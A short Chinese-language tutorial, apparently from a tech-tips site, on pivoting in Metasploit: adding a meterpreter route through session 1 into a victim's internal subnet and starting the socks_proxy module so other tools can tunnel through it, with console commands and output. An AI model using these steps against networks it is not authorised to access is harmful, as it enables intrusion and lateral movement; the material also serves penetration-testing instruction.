共計 1697 個字符,預計需要花費 5 分鐘才能閱讀完成。
這篇文章主要介紹“meterpreter 中如何開啟 pivot 代理”,在日常操作中,相信很多人在 meterpreter 中如何開啟 pivot 代理問題上存在疑惑,丸趣 TV 小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”meterpreter 中如何開啟 pivot 代理”的疑惑有所幫助!接下來,請跟著丸趣 TV 小編一起來學習吧!
pivot 是 meterpreter 最常用的一種代理,可以輕松把你的機器代理到受害者內網環(huán)境。
使用方法:
route add 目標 i 或 ip 段 Netmask 要使用代理的會話 ID
通過實例來說明:
在 metasploit 添加一個路由表,目的是訪問 172.16.100.0/24 這個網段,將通過 meterpreter 的會話 1 來訪問:
msf6 exploit(multi/handler) route add 172.16.100.0 255.255.255.0 1
[*] Route added
msf6 exploit(multi/handler) route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
172.16.100.0 255.255.255.0 Session 1
[*] There are currently no IPv6 routes defined.
到這里 pivot 已經配置好了,你在 msf 里對 172.16.100.0/24 進行掃描 (db_nmap) 或者訪問 (psexe 模塊,ssh 模塊等) 將通過代理 session 1 這個會話來訪問。
如果想通過其他應用程序來使用這個代理怎么辦呢,這時候可以借助 metasploit socks_proxy 提供一個監(jiān)聽隧道供其他應用程序訪問:
首先使用 socks_proxy 并且配置,監(jiān)聽端口:
msf6 auxiliary(scanner/ssh/ssh_login) use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
---- -----------
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) set srvport 1011
srvport = 1011
msf6 auxiliary(server/socks_proxy) run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/socks_proxy)
[*] Starting the SOCKS proxy server
到此,關于“meterpreter 中如何開啟 pivot 代理”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續(xù)學習更多相關知識,請繼續(xù)關注丸趣 TV 網站,丸趣 TV 小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>